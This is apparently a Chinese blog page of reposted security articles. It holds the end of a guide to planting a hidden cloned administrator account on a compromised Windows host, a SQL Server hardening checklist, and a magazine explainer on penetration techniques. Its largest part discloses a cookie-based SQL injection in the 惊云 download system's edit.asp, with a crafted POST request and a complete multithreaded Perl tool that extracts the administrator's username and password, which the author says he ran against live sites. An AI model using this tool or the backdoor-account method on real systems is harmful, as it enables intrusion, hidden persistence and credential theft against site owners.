4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接

一下肉鸡看看是否能连上?用命令:net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我

多次试验,次次都能成功,而且还是超级用户权限。

5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\肉鸡ip 时间 net user hacker

/active:no

6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator

看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户

administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,

所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的

权限。具体我也说不明白,大家权且这么理解吧。

五、注意的几点事项:

1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。

2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删

除。

3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过

帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。

4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者

负责,本人概不负责。

4、转载时请保留作者信息,谢谢!

李天东2002年12月23日完稿于东东网络实验室


posted @ 2005-07-08 13:32 一天一点爱恋 阅读(571) | 评论 (0)编辑 收藏
 
转贴自:http://www.sqlsecurity.com

1. 确认已经安装了NT/2000和SQL Server的最新补丁程序,不用说大家应该已经安装好了,但是我觉得最好还是在这里提醒一下。

2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。

3. 给 "sa" 和 "probe" 帐户设定强壮的密码来加强其安全性。设定一个强壮的密码并将其保存在一个安全的地方。 注意: probe帐户被用来进行性能分析和分发传输。 当在标准的安全模态中用的时候 , 给这个帐户设定高强度的密码能影响某些功能的使用。

4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。 这个帐户应该有最小的权利 ( 注意作为一个服务运行的权利是必须的)和应该包含( 但不停止)在妥协的情况下对服务器的攻击。 注意当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的 ACLs同时被处理。

5. 确定所有的 SQL 服务器数据,而且系统文件是装置在 NTFS 分区,且appropraite ACLs 被应用。 如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。

6.如果不使用Xp_cmdshell就关掉。 如果使用 SQL 6.5, 至少使用Server Options中的SQLExecutieCmdExec 账户操作限制非sa用户使用XP_cmdshell.
在任何的 isql/ osql 窗口中( 或查询分析器):

use master
exec sp_dropextendedproc'xp_cmdshell'

对 SQLExecutiveCmdExec 的详细情况请查看下列文章:

http://support.microsoft.com/support/kb/article/Q159/2/21.

如果你不需要 xp_cmdshell 那请停用它。请记住一个系统系统管理员如果需要的话总是能把它增加回来。这也好也不好 - 一个侵入者可能发现它不在,只需要把他加回来。考虑也除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。 要找到其他的程序是否使用相同的 dll:

首先得到该 dll 。

select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name='xp_cmdshell'

其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll。

select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text='xplog70.dll'

用户可以用同样的办法处理下面步骤中其他你想去掉的进程。



7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些包括:

Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你决定停用该进程那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。 记住, 我们在这里正在做的是锁定一个应用程序的功能 - 你的开发平台应该放到其他机器上。



8. 禁用你不需要的注册表存取程序。(同上面的警告)这些包括:

Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regremovemultistring

注意 :我过去一直在这里列出 xp_regread/ xp_regwrite但是这些程序的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。



9.移除其他你认为会造成威胁的系统储存进程。 这种进程是相当多的,而且他们也会浪费一些cpu时间。 小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:

sp_sdidebug
xp_availablemedia
xp_cmdshell
xp_deletemail
xp_dirtree
xp_dropwebtask
xp_dsninfo
xp_enumdsn
xp_enumerrorlogs
xp_enumgroups
xp_enumqueuedtasks
xp_eventlog
xp_findnextmsg
xp_fixeddrives
xp_getfiledetails
xp_getnetname
xp_grantlogin
xp_logevent
xp_loginconfig
xp_logininfo
xp_makewebtask
xp_msver xp_perfend
xp_perfmonitor
xp_perfsample
xp_perfstart
xp_readerrorlog
xp_readmail
xp_revokelogin
xp_runwebtask
xp_schedulersignal
xp_sendmail
xp_servicecontrol
xp_snmp_getstate
xp_snmp_raisetrap
xp_sprintf
xp_sqlinventory
xp_sqlregister
xp_sqltrace
xp_sscanf
xp_startmail
xp_stopmail
xp_subdirs
xp_unc_to_drive
xp_dirtree




10. 在企业管理器中"安全选项" 之下禁用默认登录。(只有SQL 6.5) 当使用整合的安全时候,这使未经认可的不在 syslogins 表中使用者无权登陆一个有效的数据库服务器。
11. 除去数据库的guest账户把未经认可的使用者据之在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。
12. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能

13. 检查master..Sp_helpstartup看有无可疑的木马进程。 确定没有人已经在这里放置秘密的后门程序。 使用 Sp_unmakestartup 移除任何可疑进程。

14. 检查master..Sp_password看有无trojan代码。比较你的产品scripts和一个新安装的系统的默认scripts而且方便的保存。

15. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:
xp_instance_regwrite N'HKEY_LOCAL_MACHINE', N'SOFTWARE\ Microsoft\MSSQLServer\MSSQLServer',N'AuditLevel',REG_DWORD,3

16. 重写应用程序使用更多用户定义的储存和察看进程所以一般的对表的访问可以被禁用。 在这里你也应该看到由于不必经常进行查询计划操作而带来的性能提升。
17. 除去不需要的网络协议。
18. 注意SQL 服务器的物理安全。把它锁在固定的房间里,并且注意钥匙的安全。只要有机会到服务器面前,就总是会找到一个方法进入。
19. 建立一个计划的任务运行:
findstr/C:" Login Failed"\mssql7\log\*.*'

然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。 注意: 你可能需要将路径换成你安装SQL的路径。

20. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息 ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。

21. 确定在服务器和数据库层次上的角色都只被授给了需要的用户。 当 SQL Server 安全模型 7 有许多增强的时候, 它也增加额外的许可层,我们必须监控该层,确定没有人被授予了超过必需的权限。

22. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。
23. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:
使用主体
选择名字,
password
from syslogins
where password is null
order by name


24. 如果可能,在你的组织中利用整合的安全策略。 通过使用整合的安全策略,你能够依赖系统的安全,最大简化管理工作从维护二个分开的安全模型中分离开来。这也不让密码接近连接字串。
25. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限。(在SQL Server中 使用 "type" 而不是 "xtype"):
Use master
select sysobjects.name
from sysobjects,sysprotects
where sysprotects.uid=0
AND xtype 在 ('X','P')
AND sysobjects.id=sysprotects.id
Order by name

26. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。 使用 regedit 而且检查键:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\
MSSQLServer\SQLEW\ Regedi\
SQL 6.5

现在数据被隐藏在

HKEY_USERS\{yourSID}\software\Microsoft\Microsoft SQL server\80\tool\SQLEW\registered server X\SQL server group

("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)

27. 发展一个审核计划而且订定每月的安全报告,对IT主管可用的报表包括任何的新exploit,成功的攻击 , 备份保护 , 和对象存取失败统计。
28. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。
30. 尽力限制对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给他们机会
posted @ 2005-07-08 13:20 一天一点爱恋 阅读(76) | 评论 (0)编辑 收藏
 
惊云下载系统edit.asp文件存在SQL注入漏洞,后台存在任意文件上传漏洞
惊云下载系统以前有个漏洞好象在user.asp,不知现在修补没有。本人这次和大家讲件edit.asp文件的漏洞,一来发布一个
漏洞,二教教大家如何发现和利用漏洞。我一行一行解释。
<%
user=Request.cookies("JyDownUserName")
'取得用户COOKIE并存入USER变量

if user<>"" then
user=replace(user," ","+++ close")
'给USER变量替换空格
else
response.write("<li>您没有进入本页面的权限,本次操作已被记录!<br><li>如果你是本站会员请先<a href=login.asp target=_top>登陆</a>后进入.")
response.end
end if
'上面判断COOKIE是否为空,空则跳转,等会我们构造COOKIE欺骗,让JyDownUserName这个COOKIE值不为空,至于为多少,等会说。


server_vv=len(Request.ServerVariables("SERVER_NAME"))
server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv)
server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv)
if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then
response.write("<script>alert('错误:禁止从站点外部提交数据!.')</script>")
response.end
end if
'上面判断网页是否是从浏览器点击而进入的,我们同样可以伪造是这个地方为真,再此不再赘述
%>


<!--#include file="mdb_path_user.asp"-->
<!--#include file="char.inc"-->
<!--#include file="config.asp"-->
'上面是头文件包含,没什么用,忽略就行了

<%
pwd=replace(request.form("pwd")," ","+++ close")
set rs=server.CreateObject("ADODB.RecordSet")
rs.open "select * from UserInfo where user='"&user&"'",conn,1,2
'关键的一句注入点,因为user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明显没有过滤单引号
if rs.eof then
JyDownMsg="错误:"&user&"用户资料读取错误,请重新登陆!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表失败
else
if request("type")="save" then
if pwd="" then
JyDownMsg="错误:要修改资料必需填写原密码!"
else
if pwd<>rs("pwd") then
JyDownMsg="错误:原密码错误!"
'注入条件判断语句,没有它都不能确定是否成功,返回此句代表成功,至于为什么我真得无法用语言表达了,还是自己想吧。这句以下已经没有意义了。解释至此
else
qm=htmlencode(request.form("qm"))
if len(qm)>250 then
JyDownMsg="错误:个性签名多于250个字符!"
else
.........



好了,已经知道注入的地方,而且知道成功的标志,同时知道表的结构(网上可以找到嘛),便可以利用了。
到底如何利用呢?当然最好是搞定管理员的用户和密码拉。


我用WSE抓包后,整理如下(以我自己的机器做实验)

POST /admin/edit.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
1 Referer: http://localhost/
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)
Host: localhost
Content-Length: 125
Connection: Keep-Alive
cache-Control: no-cache
2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1

type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4

上面两处是需要注意的,有序号。其他地方随便添,按照我上面的就行了。

1处是为了逃避上面讲到的防网页不是从点击近来的,把这个值设为网址就行了,没什么好讲的。
2处是最关键的,我上面提到了COOKIE欺骗,这里不但要欺骗还有注入。

JyDownUserName这个值我们把它设为了
aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1
这个。上面是经过编码的。其中%09是TAB键的编码,为了躲过空格过滤。它和空格是等价的,真的谢谢MS工程师开发软件总是为用户着想,生怕功能不强。
程序作者只过滤了空格欠考虑。


把上面的值代入到原程序总就变为了(应该学过代数啊,呵呵)
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'

那个a串没什么意义,就是为了使前面语句为假,没有这个用户就行了,可以是任意特殊字符串。后面的SELECT是重点。
ID=1是猜id为1的用户,其实就是管理员用户。不过有的管理员可能改了,那就不灵了。猜他的长度是不是1。
很显然是1可能性很小,不要紧,猜错了,会返回“错误:....用户资料读取错误,请重新登陆!”中间省了一部分。
我们把语句换成
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1'
返回“错误:....用户资料读取错误,请重新登陆!”,看来用户名长度也不是2,再换。

换到5是返回 "错误:原密码错误!",看来用户名长度就是5了。同样方法猜出密码长度7。

该猜字符。
select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1'
上面的语句大家能看懂吧?用mid函数是截取一个字符,然后转换成ASCII码,再和40比较。返回错误,说明user的第一个字符ASCII值不是40。

猜到97的时候返回"错误:原密码错误!",说明用户名第一个字符是a 。

以此类推,猜出user是admin,pwd是abcdefg.管理员的用户密码猜出来了。

上面的过程显然不可能手工输入和猜测,必须依靠工具。现成的也没有这种工具,鄙毕人就抽了宝贵的打牌(QQ升级)时间了写了个程序,很快就猜出来了。上面是方法。


我用我写的程序在网上实验,真是无往不利。就是在GOOGLE上搜惊云系统,管理员很快猜出来了。

我登陆一个网站后,发现有个地方可以上传文件。我回过头读源代码,发现了和动网一样的文件上传漏洞,都是在路径上没做检查,允许远程命名文件名。

我抓包,提交,恩,成功。顺便又写了个脚本。这个漏洞没什么好讲的,还是看动画怎么做吧。
下面事猜管理员密码的源代码

#!/usr/bin/perl

use IO::Socket;
use threads;

$lhost = $ARGV[0];#主机IP

$port = $ARGV[1];#端口号,默认80

$path = $ARGV[2];

$id = $ARGV[3];

$mod = $ARGV[4];

$char = $ARGV[5];

$argv_len=@ARGV;

if($argv_len<=4) { usage(); exit(); }

if($mod==0)
{
get_user_len($id);
get_pwd_len($id);
}

elsif($mod==1)
{
#get_user($id,$char);
my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_user,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}
}
elsif($mod==2)
{
#get_pwd($id,$char);

my $i;
for($i=1;$i<=$char;$i++)
{
$t[$i]=threads->new(\&get_pwd,$id,$i);
}
for($i=1;$i<=$char;$i++)
{
$t[$i]->join();
}

}

exit();

sub get_user()
{
my($id,$char_now)=@_;
my $aaa=bin_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}



sub bin_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_s($low,$mid,$path,$char_now,$id);
}

}



sub get_pwd()
{
my($id,$char_now)=@_;
my $aaa=bin_pwd_s(0,123,$path,$char_now,$id);
print "The $char_now char:".chr($aaa)."\n";
}


sub bin_pwd_s()
{
my ($low,$high,$path,$char_now,$id)=@_;

my $lh=($low+$high)/2;

my $aaaa=$lh-int($lh);

my $mid;

if($aaaa>0)
{
$mid=int($lh)+1;
}
else
{
$mid=int($lh);
}

my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");

my $mid1_flag;

if($mid_flag==0)
{
$mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1");
}
else
{
$mid1_flag=0;
}

#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";

if($mid_flag==0&&$mid1_flag==1)
{
return $mid;
}
elsif($mid_flag==1&&$mid1_flag==0)
{
bin_pwd_s($mid,$high,$path,$char_now,$id);
}
elsif($mid_flag==0&&$mid1_flag==0)
{
bin_pwd_s($low,$mid,$path,$char_now,$id);
}

}




sub get_user_len()
{
my($id)=@_;

for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "User_length of id $id: $user_j\n";
}
else
{
print "Can't get user length\n";
}
return $user_j;

}

sub get_pwd_len()
{
my($id)=@_;
my $user_j,$user_flag;
for($user_j=1;$user_j<=30;$user_j++)
{
$user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1");
if($user_flag==1){last;}
}
if($user_j<31)
{
print "Pass_length of id $id: $user_j\n";
}
else
{
print "Can't get password length\n";
}
return $user_j;
}



sub GetRequest()
{
my($lpath,$usercookie)=@_;
$remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n";
$remote->autoflush(1);

$content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 ";
$length=length($content);

$post="POST ".$lpath." HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://".$lhost.":".$port."/".$path."\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n".
"Host: $lhost\r\n".
"Content-Length: ".$length."\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n".
$content;

print $remote $post;

my $flag=0;
for($i=1;$i<=40;$i++)
{
$line=<$remote>;
if(index($line,"原密码错误")!=-1)
{
$flag=1;
}
}
close $remote;
return $flag;
}

sub usage()
{
print "$0 host port path id mod char\n";
print "mod 0 用户名和密码长度 1 猜用户 2 猜密码\n";
print "char 猜测字符位置 1-20";
}
posted @ 2005-07-08 13:19 一天一点爱恋 阅读(115) | 评论 (0)编辑 收藏
 
作者:小金  

本文已发表在chip

渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。无论是个人用户、数据库管理员还是网站管理员,要构造一个安全的网站论坛、数据库服务器以及安全的SQL语句脚本,了解渗透技术潜在的危害都非常有必要。

很多用户都有这样一种感觉:计算机信息安全技术或者黑客关心的一些东西都比较高深,其实不然,比如渗透技术,可能仅仅是这个专业的技术名词就已经让你有点眩晕了,但是你知道吗,在日常的计算机应用中,你常常会与渗透技术擦肩而过。


让我们举一个小例子来做个简单的说明:如果我告诉你“’ or 1=1’”这是某个用户在某个论坛注册的用户名或者密码,你会想到些什么呢?如果你稍微有一点SQL语言的常识的话,就会明白这个用户名意味着什么,你就会明白“Select u_name from userlst where u_name=xxx”与“Select u_name from userlst where u_name=xxx or 1=1”之间的巨大差异。对一个安全系数不高的网站来说,黑客可以轻松地利用类似的简单SQL语句对网站 非法访问或者攻击,而这些,仅仅是渗透技术冰山之一角。


试探

“站住!干什么的?”守卫叫住这个在司令部门前徘徊了许久的年轻人。“游客。”年轻人看着守卫,眼神出奇地平静,他似乎有意无意地看了不远处的司令部一眼,落日余辉笼罩下的司令部显得如此神秘。然后,年轻人在守卫警惕的目光下潇洒离去。


渗透,或称Penetrate,它不属于某一种入侵方法,也不属于某种工具。渗透是指入侵者直接用被入侵对象原有的功能来完成的入侵,它可以使用各种方法进行。这些原有的功能看起来是那么忠心,可是当它们被入侵者掌握后,却成了入侵者得力的工具。


在一切工作开始之前,入侵者们需要试探。包括目标的功能、漏洞,这些信息在以后的工作中起着重要作用,这一过程称为“扫描”。一般,入侵者们用的扫描器都能汇报大部分已经存在的漏洞和对方提供的服务。当收集到一定数据后,入侵者们就可以决定入侵还是放弃。


偷袭

前面已经提到,渗透有多种表现形式,目前流行的渗透技术表现方式有特殊权限目录、论坛渗透、SQL注射等几种。

突破特殊权限目录

夜深了,守卫正在昏昏欲睡。突然间,一个黑影迅速翻越围墙进了司令部,正是那个白天在司令部门前逗留过一段时间的年轻人,他戴着特制手套,围墙上的玻璃也被弄了一些下来,散落在地上,在月光下闪烁着。年轻人无暇顾及这些,一个转身躲进了暗处。他是一个特工,他的任务是窃取敌方最新的战略分布图。为此,他设法观察这个司令部好几天了,今天终于发现一处戒备疏松的入口。


一般,服务器都会设置一些拥有特殊功能的目录,这些目录用于扩充服务器提供的功能,它们能执行脚本程序,例如论坛。


正因为如此,这些目录里的程序常常会做出异常的事情。服务器上的程序通过处理不同内容的数据请求来实现功能扩充和人机交互,但是,就连程序的编写者也没办法考虑到对方可能会发出什么样数据,而程序只会死板地接受指令干活,于是,危险随时都可能发生。如果入侵者发送一个特殊格式的数据给服务器,由于服务器上处理数据的程序并没有对这种数据做出处理,直接的结果就是程序被溢出,或者执行了入侵者的非法请求,例如要求进入未经允许的目录、查看非授权文件等。因为程序根本不会思考,就乖乖实现了入侵者的心愿。


还记得那个最经典的目录渗透吗——“IIS的二次编码漏洞”正是因为作者没有考虑到一些特殊字符的作用,导致入侵者使用浏览器或别人开发的工具就轻松进入了服务器(图1)。



图1 IIS的“二次编码漏洞”导致了目录渗透。

当然,免费的午餐不一定都好吃,服务器虽然安排了特殊权限目录,可是也不会给它们太多权限。用这种方法渗透的入侵者,充其量不过是个“客人”的角色,能做多少事情?可想而知,入侵者们绝不肯就此罢休。

脆弱的论坛

司令部的侧门开了,也许因为天气闷热,一个戴眼镜的军官出来透气。他看到墙边那一堆闪亮的东西,忙走了过去。可是他还没来得及细看,就倒在那堆玻璃上,年轻人的身影出现在他身后。潜入的特工换上军官的军服,连同帽子和眼镜,然后拿了他的钥匙串,踱着步子走进了司令部。


论坛建立在特殊权限目录的基础上,为服务器开扩了互动的功能,当然也成为入侵者喜爱的一块“肥肉”。因为论坛是由多个文件组合起来的,只要某个文件的编写出了问题,论坛就很可能成为入侵者的钥匙。国内一些著名论坛如DVBBS和LB5000都是入侵者的最爱,因为这些论坛强大的功能让他们能直接取得整个机器的控制权。入侵者甚至只要设法在LB5000的某个文件里写下一行“@ARGV”就能直接进入系统内部。可以这么说:论坛是入侵者最大的“舞台”。


究其原因,是论坛程序作者编写的代码不严密造成的。由于论坛程序的代码是完全透明的,稍有用心的人分析了整个代码就能知道哪一步会出问题——不要以为那些教程上的命令是作者乱按键盘得来的。一旦论坛被渗透,最轻的后果是入侵者坐上管理员的位置,严重的就是入侵者又多了一台被控制的机器(图2)。


图2 黑客利用渗透技术提升LB5000用户权限。

突破口令的防线

特工把帽檐压得很低,司令部里居然没人认出他。他走到深处空无一人的情报间前面,发现这里需要输入一个四位数的密码,键盘下还有一个打印机接口样式的数据孔。特工从怀里拿出一个小机器和数据孔连接上了,然后就开始紧张地等待着什么。


有时候,一个论坛程序或者其他需要密码的入口程序已经被修改得很安全,直接用以前出问题的代码显然是不可能了,难道入侵就这样停止了?不,入侵者们当然不会轻易放弃。


现在最通用的服务器程序是微软的IIS网络信息服务器+ASP活动页面的组合,而这两者最主要的操作就是数据库读写——IIS使用数据库存储资料已经成了标准,可正是这个标准又把服务器的安全推到了危险的边缘。


SQL注射(SQL Injection)是最近比较热的渗透方法,那么,SQL注射是什么?写过数据库程序的朋友都知道,数据库操作需要用户名和密码,否则不允许打开。这些密码通过固定的格式传输,这就是“结构化查询语言”(Structured Query Language)。但是在这个环节上却出了差错:我们能直接阅读到网站的资料是因为作者已经把密码保存在某个文件里面让系统自己提交了。因此,入侵者可以在某个涉及到数据库调用的文件地址后增加一个SQL判断语句来追查密码长度,甚至推测具体密码,例如“data.asp?id=1 and 1=(select id from admin where left(password,5)='lk007')”,如果密码正好是“lk007”,文章就正常显示,因为语句中的“and”查询符两边相等了。这样一步一步下来,入侵者就拿到了完整的密码。这个手法在国外被称为“骇客的SQL填空游戏”,有趣吧?网络管理员可笑不出来。


打入核心

几分钟过去后,特工输入了正确密码,门开了。在他意料之外,里面还有个操作员!距离太近了,操作员认出他并非自己人。
“间谍……”操作员还没说完话就被弹了起来,头撞到了顶板,瞬间没了气息。原来特工按下了门旁的应急按钮,它的设计初衷是把非法入侵者直接扼杀在里面。可是它不会认人,只要你输入了正确密码,它就能为你所用。


特工取到了他要的资料,压低帽檐走了出去,情报间的门悄然关上了,就像什么都没发生过。趁着夜色,特工逃离了司令部。


SQL太强大了,不过这次不是SQL语言,而是SQL服务器程序SQL Server,它给用户提供强大功能的同时,也递给入侵者一把“榔头”。在SQL Server中有很多系统存储过程,有些是数据库内部使用的,还有一些就是通过执行存储过程来调用系统命令。直接危害服务器的是系统存储过程指令“xp_cmdshell”,它以操作系统命令行解释器的方式执行给定的命令字符串,但是它有个致命弱点:它不认人,只要入侵者得到了账号,他同样可以执行很多命令,直接危害服务器。也许你会说,这点无所谓,账号不是那么容易拿的。但是不争气的SQL Server却存在多种能让入侵者得到账号的漏洞,然后(图3)……

图3 针对SQL服务器的xp_cmdshell入侵程序。

其实,入侵者直接在浏览器里输入SQL指令就可以,例如“exec master.dbo.xp_cmdshell '命令行'”。


防范

深夜里,司令部响起了警报。一个士兵无意中发现了倒在地上的军官,尔后人们看到了情报间里操作员的尸体。整个司令部立即进入A级警戒状态,所有人都要经过严密身份识别才被批准进入。
然而,特工还会来吗?


发现服务器被入侵的时候,入侵者已经绝尘而去,广大网络管理员最痛心疾首的事情莫过于此,如果上天给他们一个重来的机会,他们会祈祷入侵者进不来,如果要加一个期限,他们希望是——永远。


话虽如此,但是,不见得每个Webmaster的技术都足够抵挡一切入侵,也不是所有程序都不会有出错的一天,我们应该如何预防渗透技术可能带来的危害呢?看了上面的文章和理论分析,不难得出以下有效的防范措施:


1.确保操作系统、数据库服务器、程序开发语言都打上了最新的补丁程序,如Service Pack以及相应服务器程序的补丁,并记得一定要时刻开启防火墙功能;


2.时刻关注自己服务器的论坛程序最新情况,增加必要的字段过滤;


3.留意用户组的变化,密切注意奇怪的用户名,对用户名和密码注册采取严格的限制策略;


4.定时分析操作系统和数据库日志文件。
posted @ 2005-07-08 12:40 一天一点爱恋 阅读(76) | 评论 (0)编辑 收藏
 
Windows 2000和Windows XP作为32位操作系统,通过创建虚拟DOS机来运行MS-DOS和16位Windows程序,它用“命令提示符”(cmd.exe)替换了以前版本(如Windows 98)中的“Command.com”,保留并增强了几乎MS-DOS的所有功能。可是,你真的把它玩转了么?
一、自定义窗口标题
以Win2000为例,CMD默认的窗口标题一般为“C:WINNTSystem32cmd.exe”。如果想要个性化一点的话,可以使用“Title string”命令来重新设置,其中string用来指定命令提示符窗口的标题。例:输入“Title 天天的控制平台”(引号不要输入,下同),标题就被设置为“天天的控制平台”(可以按Ctrl+Shift组合键调出中文输入法来输入汉字)(如图1)。
二、彩色的命令行
